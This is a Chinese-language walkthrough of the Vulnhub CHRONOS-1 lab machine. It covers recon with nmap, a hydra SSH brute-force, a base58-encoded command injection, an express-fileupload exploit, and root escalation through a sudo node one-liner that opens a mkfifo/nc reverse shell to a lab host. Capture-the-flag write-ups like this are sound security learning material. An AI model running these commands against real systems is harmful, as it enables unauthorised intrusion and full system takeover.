Vulnhub靶场CHRONOS-1
你好啊
吃了么,睡了么
有拥抱么,有晚安么
剪刀石头布,哈,我又赢了
靶场简介
2022
11-12
Vulnhub
地址:https://www.vulnhub.com/entry/chronos-1,735/
描述:
难度:中等
目标:获得root权限,flag*2
涉及的任务:
端口扫描
WEB侦查
命令注入
数据编解码
搜索引擎
框架漏洞利用
代码审计
NC反弹shell
本地提权
系统环境
2022
测试过程
主机发现
1 | sudo netdiscover -i eth1 指定网卡,对目标网段进行arp主机发现 |
服务识别
1 | nmap -p- 192.168.56.109 对发现目标进行全端口扫描 |
服务进攻
1 | hydra -l root -P rockyou.txt -t 32 -vV 192.168.56.109 ssh -f 首先对发现的第一个点进行攻击,使用hydra 进行ssh暴力破解 |
随后对下一个发现点进行测试,浏览器访问80,8000端口发现源代码里面存在一段相同jscript代码
通过cyberchef进行js代码美化,使代码便于分析,发现里面存在一个域名,但是并没有解析
通过本地hosts文件进行解析,使这段js代码能够正常访问这个域名
随后重新访问80,或者8000网站,js脚本正常加载,域名能够正常访问,发现多出了一个时间显示
随后使用burpsuite查看请求,发现一个get “/date?format=”请求,随后页面返回一个当前时间信息
随后将提交的数据放入cyberchef进行分析,发现编码为base58编码,解密后的信息为linux命令date的参数,猜测为直接调用date 命令返回信息,猜测存在命令注入漏洞
随后进行测试,将 ;ls 通过base58进行加密后提交,页面显示出目录信息,确定存在命令注入漏洞
进行命令测试,查找反弹shell的方式,将;ls /bin 编码后提交,获得可执行的命令列表,发现存在nc
尝试利用nc反弹shell
1 | nc -vnlp 1111 本地监听1111端口,等待目标连接 |
数据提交后页面显示错误信息,但是并没有影响shell的连接
账号为www-data,目录下发现web程序的源代码程序,进行代码分析
代码中对提交数据进行了判断,如果提交了whoami,id,nc等数据会反馈错误信息,但是并没有进行拦截,所以并不影响nc执行
随后在上一级目录中发现了另外一个目录
在其中一个文件中发现了使用的框架:express,express-fileupload
并且本地开启了8080,监听在127.0.0.1 只能当前主机本地访问,所以扫描无法发现
通过搜索引擎进行查找发现存在漏洞,随后在:https://blog.p6.is/Real-World-JS-1/ 找到漏洞利用代码,修改目标端口,ip信息后执行
1 | import requests |
随后获得另外一个用户的shell,用户目录下存在一个flag文件。
1 | sudo -l 查看当前用户的sudo权限 |
1 | sudo node -e "require('child_process').exec('rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.56.1 9999 >/tmp/m')" |
完结撒花
积极向上
热爱生活
啊,再见了,再见了,哈
我们会再见的对么
再见你要幸福
燕子,燕子